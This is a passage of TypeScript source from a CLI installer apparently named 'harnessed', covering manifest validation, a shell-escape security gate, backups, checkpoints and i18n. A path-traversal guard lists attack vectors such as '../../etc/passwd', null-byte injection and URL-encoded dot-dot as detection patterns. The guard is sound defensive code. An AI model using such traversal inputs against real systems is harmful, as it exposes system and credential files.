(${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n        line: lineOf(node, lineCounter),\n        column: null,\n        keyword: 'security',\n      }\n    }\n  }\n  return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n  doc: Document.Parsed,\n  filename: string,\n  lineCounter: LineCounter,\n): ValidationError[] {\n  const errors: ValidationError[] = []\n\n  // Walk known cmd paths. We do NOT do generic AST recursion because we\n  // want surgical: only fields where the installer will spawn a shell.\n  const cmdPaths: Array<Array<string | number>> = [\n    ['spec', 'install', 'cmd'],\n    ['spec', 'verify', 'cmd'],\n    ['spec', 'uninstall', 'cmd'],\n  ]\n\n  for (const p of cmdPaths) {\n    const err = checkScalarCmd(doc, lineCounter, p, filename)\n    if (err) errors.push(err)\n  }\n\n  // cleanup_paths is a sequence of strings — iterate each element.\n  const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n  if (cleanupNode && isSeq(cleanupNode)) {\n    cleanupNode.items.forEach((item, idx) => {\n      if (!isScalar(item)) return\n      const value = item.value\n      if (typeof value !== 'string') return\n      for (const pat of PATTERNS) {\n        if (pat.test(value)) {\n          errors.push({\n            file: filename,\n            path: `/spec/uninstall/cleanup_paths/${idx}`,\n            message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n            line: lineOf(item, lineCounter),\n            column: null,\n            keyword: 'security',\n          })\n          break\n        }\n      }\n    })\n  }\n\n  // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n  // Ajv will report the structural error.\n  void isMap\n\n  return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n  new Ajv({\n    strict: true,\n    strictSchema: true,\n    strictTypes: true,\n    strictRequired: true,\n    allErrors: true,\n    discriminator: true,\n    allowUnionTypes: false,\n  }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n  if (!_compiled) {\n    _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n  }\n  return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n  | { ok: true; manifest: Manifest }\n  | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n  npm: ['npm-cli'],\n  mcp: ['mcp-stdio-add', 'mcp-http-add'],\n  git: ['git-clone-with-setup'],\n  skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n  const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n  const installType = spec.install_type\n  const method = spec.install?.method\n  if (!installType || !method) return []\n  const allowed = INSTALL_TYPE_METHODS[installType]\n  if (!allowed || allowed.includes(method)) return []\n  return [\n    {\n      file: filename,\n      path: 'spec.install.method',\n      message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n      line: null,\n      column: null,\n      keyword: 'install-type-mismatch',\n    },\n  ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n  const lineCounter = new LineCounter()\n  const doc = parseDocument(yamlSource, { lineCounter })\n\n  if (doc.errors.length > 0) {\n    return {\n      ok: false,\n      errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n    }\n  }\n\n  // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n  // backtick, etc. in any cmd field BEFORE structural validation so users\n  // see the security failure first (not a confusing field-shape error).\n  const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n  if (securityErrors.length > 0) {\n    return { ok: false, errors: securityErrors }\n  }\n\n  const data = doc.toJS()\n  const validate = getValidator()\n  if (!validate(data)) {\n    const errs = validate.errors ?? []\n    return {\n      ok: false,\n      errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n    }\n  }\n\n  // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n  // 1:N closure check. Runs after Ajv structural validation passes (needs a\n  // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n  const manifest = data as Manifest\n  const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n  if (crossFieldErrors.length > 0) {\n    return { ok: false, errors: crossFieldErrors }\n  }\n\n  return { ok: true, manifest }\n}\n","// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n  status: 'pass' | 'warn' | 'fail'\n  detail: string\n  fix?: string\n}\n\nexport interface OriginCheckOptions {\n  /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n  allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n  return s\n    .trim()\n    .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n    .replace(/\\.git$/, '')\n    .replace(':', '/')\n    .replace(/\\/$/, '')\n    .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n  cwd: string = process.cwd(),\n  opts: OriginCheckOptions = {},\n): OriginCheckResult {\n  const allowFork = opts.allowFork ?? true\n  // 1. Read expected URL from package.json `repository.url` SSOT.\n  let expected: string | null = null\n  try {\n    const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n      repository?: string | { url?: string }\n    }\n    expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n  } catch {\n    // package.json missing 是合法 case (npm 全局装 / detached run).\n  }\n  if (!expected) {\n    return {\n      status: 'warn',\n      detail: 'package.json has no repository.url field',\n      fix: 'add `repository` field to package.json',\n    }\n  }\n  // 2. Read actual git remote origin URL.\n  const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n    cwd,\n    encoding: 'utf8',\n  })\n  if (r.status !== 0) {\n    return {\n      status: 'warn',\n      detail: 'no git remote origin (detached / non-clone)',\n      fix: 'git remote add origin <expected-url>',\n    }\n  }\n  const actual = r.stdout.trim()\n  if (normalizeUrl(actual) === normalizeUrl(expected)) {\n    return { status: 'pass', detail: actual }\n  }\n  // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n  return {\n    status: allowFork ? 'warn' : 'fail',\n    detail: `origin '${actual}' ≠ expected '${expected}'`,\n    fix: allowFork\n      ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n      : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n  }\n}\n","// v3.4.0 NEW — lightweight i18n loader for harnessed CLI user-facing strings.\n//\n// Design (Karpathy simplicity):\n//   1. Lazy-load `messages/{en,zh}.json` on first `t()` call (no top-level fs cost).\n//   2. Locale resolution priority:\n//        a. setLocale() explicit (e.g. from --lang flag in src/cli.ts)\n//        b. process.env.HARNESSED_LANG\n//        c. process.env.LANG / LC_ALL / LANGUAGE (POSIX)\n//        d. Intl.DateTimeFormat().resolvedOptions().locale\n//        e. 'en' fallback\n//   3. Fallback chain on missing key: current → 'en' → raw key (defensive).\n//   4. `{{param}}` interpolation via String.prototype.replaceAll regex.\n//\n// Backward compat: default locale 'en' keys verbatim mirror current literal\n// console output → existing test fixtures continue to assert literal strings.\n\nimport { readFileSync } from 'node:fs'\nimport { dirname, join, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\nexport type SupportedLocale = 'en' | 'zh-Hans'\n\nconst SUPPORTED: ReadonlySet<SupportedLocale> = new Set(['en', 'zh-Hans'])\n\nlet currentLocale: SupportedLocale | null = null\nconst cache: Partial<Record<SupportedLocale, Record<string, string>>> = {}\n\n/**\n * Map a raw BCP 47 / POSIX locale string to one of the supported translation\n * tables. Policy (v3.4.0):\n *   - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n *   - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n *     ('en' is the universal default — translations are only en + zh-Hans today)\n * Forward-compat: when ja/ko/fr/etc. tables ship, extend match branches here.\n */\nfunction mapToSupported(raw: string | undefined): SupportedLocale {\n  if (!raw) return 'en'\n  // Match `zh` followed by end-of-string OR any non-letter separator\n  // (`_` / `-` / `.` / ` ` etc.). `\\b` is unsuitable here because `_` is a\n  // word char in JS regex, so `zh_CN` would not have a boundary after `h`.\n  if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n  return 'en'\n}\n\nfunction detectLocale(): SupportedLocale {\n  const raw =\n    process.env.HARNESSED_LANG ||\n    process.env.LC_ALL ||\n    process.env.LANG ||\n    process.env.LANGUAGE ||\n    safeIntlLocale()\n  return mapToSupported(raw)\n}\n\nfunction safeIntlLocale(): string | undefined {\n  try {\n    return Intl.DateTimeFormat().resolvedOptions().locale\n  } catch {\n    return undefined\n  }\n}\n\nfunction messagesDir(): string {\n  // dist/cli.mjs and src/i18n/index.ts both resolve via package root sibling `messages/`.\n  const here = dirname(fileURLToPath(import.meta.url))\n  // src/i18n/ → ../../messages   OR   dist/ → ../messages\n  const candidates = [resolve(here, '..', '..', 'messages'), resolve(here, '..', 'messages')]\n  for (const c of candidates) {\n    try {\n      readFileSync(join(c, 'en.json'), 'utf8')\n      return c\n    } catch {\n      // try next candidate\n    }\n  }\n  // Last-resort: cwd/messages (test env friendly)\n  return resolve(process.cwd(), 'messages')\n}\n\nfunction loadLocale(locale: SupportedLocale): Record<string, string> {\n  if (cache[locale]) return cache[locale]\n  const path = join(messagesDir(), `${locale}.json`)\n  try {\n    const raw = readFileSync(path, 'utf8')\n    cache[locale] = JSON.parse(raw) as Record<string, string>\n  } catch {\n    cache[locale] = {}\n  }\n  return cache[locale] as Record<string, string>\n}\n\n/** Set the active locale explicitly (e.g. from CLI `--lang` flag). */\nexport function setLocale(locale: string | undefined): void {\n  if (!locale) return\n  const mapped = mapToSupported(locale)\n  if (SUPPORTED.has(mapped)) currentLocale = mapped\n}\n\n/** Get the active locale (lazy-detect on first use). */\nexport function getLocale(): SupportedLocale {\n  if (currentLocale === null) currentLocale = detectLocale()\n  return currentLocale\n}\n\n/** Reset cache + locale — for unit tests only. */\nexport function __resetForTests(): void {\n  currentLocale = null\n  for (const k of Object.keys(cache)) delete cache[k as SupportedLocale]\n}\n\n/**\n * Translate a key with optional `{{param}}` interpolation.\n * Fallback chain: current locale → 'en' → raw key.\n */\nexport function t(key: string, params?: Record<string, string | number>): string {\n  const locale = getLocale()\n  const primary = loadLocale(locale)\n  let template = primary[key]\n  if (template === undefined && locale !== 'en') {\n    template = loadLocale('en')[key]\n  }\n  if (template === undefined) template = key\n  if (!params) return template\n  return template.replace(/\\{\\{(\\w+)\\}\\}/g, (_match, name: string) => {\n    const v = params[name]\n    return v === undefined ? `{{${name}}}` : String(v)\n  })\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport { harnessedSubdir } from './harnessedRoot.js'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\n// v2.0.1 fix: backup root migrated from `<ctx.cwd>/.harnessed-backup/` to\n// `~/.harnessed/backups/` to support running harnessed from read-only CWD\n// (e.g. user launched terminal from `C:\\Program Files\\Warp\\` → mkdir EPERM).\n// `getBackupRoot()` is exported so cli/backup-list.ts + cli/gc.ts +\n// cli/rollback.ts share the same SoT (sister Phase 2.6 single-source-of-truth\n// per ADR 0024 capability abstraction pattern).\n//\n// v3.0.3: routed through the shared `getHarnessedRoot()` SoT (sister\n// `harnessedRoot.ts`) so all harness-owned roots compose from a single helper.\n// Path remains `<homedir>/.harnessed/backups` — no behavioral change.\nexport function getBackupRoot(): string {\n  return harnessedSubdir('backups')\n}\n\nexport interface BackupFileEntry {\n  target: string // absolute path of original file\n  backup: string // absolute path of backup copy\n  sha1: string // sha1 of original content\n  eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n  installer: string // manifest.metadata.name\n  manifest: string // manifest.metadata.name (alias for clarity)\n  timestamp: string // ISO-8601 (with `:` replaced by `-`)\n  files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n  | { ok: true; backupId: string; backupDir: string }\n  | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n  // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n  // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n  // If we cannot resolve a relative path (e.g. file is outside home dir on a\n  // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n  // colliding with sibling files.\n  const root = scope === 'HOME' ? HOME_DIR : '.'\n  const rel = root ? relative(root, target) : target\n  if (!rel || rel.startsWith('..')) {\n    const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n    return join(backupDir, scope, flat)\n  }\n  return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n  // First CRLF wins; manifests and config JSON are typically pure-LF or\n  // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n  // we pick the dominant convention based on first occurrence).\n  return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n  const filename = ctx.manifest.metadata.name\n\n  // ISO timestamp with `:` → `-` for Win filename safety.\n  const backupId = new Date().toISOString().replace(/:/g, '-')\n  const backupDir = join(getBackupRoot(), backupId)\n\n  try {\n    await mkdir(backupDir, { recursive: true })\n  } catch (err) {\n    return {\n      ok: false,\n      error: {\n        file: filename,\n        path: '/',\n        message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n        line: null,\n        column: null,\n        keyword: 'backup-mkdir-failed',\n      },\n    }\n  }\n\n  const entries: BackupFileEntry[] = []\n\n  for (const file of plan.files) {\n    let buf: Buffer\n    try {\n      buf = await readFile(file.target)\n    } catch (err) {\n      // ENOENT is expected for pure-create plans (oldText === '' + file does\n      // not yet exist) — record an empty backup entry so rollback knows to\n      // delete the file rather than restore.\n      const code = (err as NodeJS.ErrnoException).code\n      if (code === 'ENOENT' && file.oldText === '') {\n        entries.push({\n          target: file.target,\n          backup: '', // sentinel: no backup written; rollback should unlink target\n          sha1: '',\n          eol: 'lf', // moot for non-existent file; default to lf\n        })\n        continue\n      }\n      // v23 (4.5.1) — EISDIR: the target is a directory (e.g. git-clone-with-setup\n      // overwriting an existing skill dir on force-update). A byte-backup isn't\n      // applicable; record a sentinel so the install proceeds rather than crash with\n      // \"illegal operation on a directory, read\". (git-clone-with-setup is pure-create;\n      // directory rollback is out of scope by its own contract.)\n      if (code === 'EISDIR') {\n        entries.push({ target: file.target, backup: '', sha1: '', eol: 'lf' })\n        continue\n      }\n      return {\n        ok: false,\n        error: {\n          file: filename,\n          path: file.target,\n          message: `failed to read original file for backup: ${(err as Error).message}`,\n          line: null,\n          column: null,\n          keyword: 'backup-read-failed',\n        },\n      }\n    }\n\n    const sha1 = createHash('sha1').update(buf).digest('hex')\n    const eol = detectEol(buf)\n    const dest = mirrorPath(file.target, file.scope, backupDir)\n\n    try {\n      await mkdir(dirname(dest), { recursive: true })\n      await writeFile(dest, buf)\n    } catch (err) {\n      return {\n        ok: false,\n        error: {\n          file: filename,\n          path: dest,\n          message: `failed to write backup copy: ${(err as Error).message}`,\n          line: null,\n          column: null,\n          keyword: 'backup-write-failed',\n        },\n      }\n    }\n\n    entries.push({ target: file.target, backup: dest, sha1, eol })\n  }\n\n  // metadata.json — single source of truth for rollback.\n  const metadata: BackupMetadata = {\n    installer: filename,\n    manifest: filename,\n    timestamp: backupId,\n    files: entries,\n  }\n  const metadataPath = join(backupDir, 'metadata.json')\n  try {\n    await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n  } catch (err) {\n    return {\n      ok: false,\n      error: {\n        file: filename,\n        path: metadataPath,\n        message: `failed to write metadata.json: ${(err as Error).message}`,\n        line: null,\n        column: null,\n        keyword: 'backup-metadata-failed',\n      },\n    }\n  }\n\n  return { ok: true, backupId, backupDir }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n  /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n  /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n  // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n  /\\x00/, // (3) Null byte injection: path\\x00attack\n  /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n  /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n  constructor() {\n    super('path traversal attempt detected')\n    this.name = 'PathTraversalError'\n    Object.setPrototypeOf(this, PathTraversalError.prototype)\n  }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n  for (const re of PATH_TRAVERSAL_PATTERNS) {\n    if (re.test(input)) throw new PathTraversalError()\n  }\n}\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n//   Level 1 — truncate `last_task` to first 200 chars\n//   Level 2 — truncate `key_decisions` to first 5 items\n//   Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync } from 'node:fs'\nimport { dirname, join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { writeFileSyncAtomic } from './atomicWrite.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n  constructor(message: string) {\n    super(message)\n    this.name = 'CheckpointTooLargeError'\n  }\n}\n\nexport class CheckpointWriteError extends Error {\n  constructor(message: string) {\n    super(message)\n    this.name = 'CheckpointWriteError'\n  }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n *  Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n  return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n *  Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n *  and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n  let candidate = c\n  let tokens = estimateTokens(JSON.stringify(candidate))\n  if (tokens <= budget) return candidate\n  // Level 1: truncate last_task to first 200 chars\n  candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n  tokens = estimateTokens(JSON.stringify(candidate))\n  if (tokens <= budget) return candidate\n  // Level 2: truncate key_decisions to first 5 items\n  candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n  tokens = estimateTokens(JSON.stringify(candidate))\n  if (tokens <= budget) return candidate\n  throw new CheckpointTooLargeError(\n    `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n  )\n}\n\n/** Write checkpoint envelope to `<harnessed-root>/checkpoints/<phase>.json` (or customPath).\n *  v3.0.3: default path routed through `getHarnessedRoot()` SoT (homedir-rooted).\n *  Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n  if (!Value.Check(CheckpointV1, c)) {\n    const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n    throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n  }\n  const enforced = enforceBudget(c)\n  const path = customPath ?? join(harnessedSubdir('checkpoints'), `${enforced.phase}.json`)\n  mkdirSync(dirname(path), { recursive: true })\n  writeFileSyncAtomic(path, JSON.stringify(enforced, null, 2))\n  return path\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n//\n// v3.0.3 — checkpoint + archive path routed through `getHarnessedRoot()` SoT\n// (homedir-rooted; EPERM-free in read-only CWD). Sister v2.0.1 backup pattern.\n\nimport { join } from 'node:path'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n  phaseId: string\n  sessionId?: string\n  status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n  lastTask?: string\n  keyDecisions?: string[]\n  canonicalRefs?: string[]\n  /** v5.0 Spec 1 — when false, write the per-sub checkpoint envelope but DO NOT\n   *  transition the workflow status to 'complete' (the master chain still has\n   *  pending subs; completing one sub must not flip the whole chain). Default true\n   *  preserves engine.ts runRouting behavior (one phase = whole workflow done). */\n  transitionWorkflowComplete?: boolean\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n *  Lock acquired transitively via stateActivate → writeCurrentWorkflow\n *  (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n  const checkpointPath = join(harnessedSubdir('checkpoints'), `${phaseId}.json`)\n  await stateActivate(phaseId, checkpointPath)\n  return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n *  Lock acquired transitively via stateComplete → writeCurrentWorkflow\n *  (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n  if (ctx.phaseId === 'unknown') {\n    console.error(\n      `[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to ${join(harnessedSubdir('checkpoints'), 'unknown.json')} (Karpathy fail-loud non-blocking; W-04 mitigation)`,\n    )\n  }\n  writeCheckpoint({\n    schemaVersion: SCHEMA_VERSIONS.checkpoint,\n    phase: ctx.phaseId,\n    status: 'complete',\n    last_task: ctx.lastTask ?? 'engine.runRouting complete',\n    key_decisions: ctx.keyDecisions ?? [],\n    canonical_refs: ctx.canonicalRefs ?? [],\n    ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n    cwd: process.cwd(),\n    timestamp: new Date().toISOString(),\n    archive_path: `${join(harnessedSubdir('archive'), `phase-${ctx.phaseId}`)}/`,\n  })\n  // v5.0 Spec 1 — only flip workflow status when this completion finishes the\n  // whole chain. transitionWorkflowComplete defaults to true (engine.ts path);\n  // checkpoint.ts passes false while the ledger still has pending subs (and on\n  // fail) so the workflow stays 'active'.\n  if (ctx.transitionWorkflowComplete !== false) {\n    await stateComplete()\n  }\n}\n","// src/workflow/interpolate.ts — Phase 3.2 W1 T1.6 (D-02 JINJA LOCKED).\n// Karpathy YAGNI ≤30L — zero npm template-lib dep (sister Phase 3.1 D-02 zero\n// FSM-lib precedent). Throws on undefined var + on any {{ ... }} that strict\n// regex misses (fail-loud per RESEARCH § 3 — strict_variables=True equivalent).\nexport class InterpolationError extends Error {\n  constructor(message: string) {\n    super(message)\n    this.name = 'InterpolationError'\n  }\n}\nconst STRICT = /\\{\\{\\s*(\\w+)\\s*\\}\\}/g\nconst ANY_TEMPLATE = /\\{\\{[^}]*\\}\\}/\n/** Substitute {{ var }} placeholders in template with vars[name]. Throws on\n *  undefined var OR residual {{ ... }} (e.g. `{{ a.b }}` — `\\w+` 不命中 '.',\n *  fail-loud per RESEARCH § 2.3 fixture 5 + § 3 strict_variables=True). */\nexport function interpolate(template: string, vars: Record<string, string>): string {\n  const out = template.replace(STRICT, (_m, name: string) => {\n    const v = vars[name]\n    if (v === undefined) {\n      throw new InterpolationError(\n        `undefined template variable '${name}' (template excerpt: ${template.slice(0, 80)})`,\n      )\n    }\n    return v\n  })\n  if (ANY_TEMPLATE.test(out)) {\n    throw new InterpolationError(`unsupported template syntax in: ${out.slice(0, 80)}`)\n  }\n  return out\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — task workflow 省 token):\n//   每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n//   `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (v3 task workflow phases):\n//   01-clarify = opus    (任务复杂度澄清)\n//   02-code    = sonnet  (心法 always-on)\n//   03-test    = sonnet  (conditional TDD)\n//   04-deliver = haiku   (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { 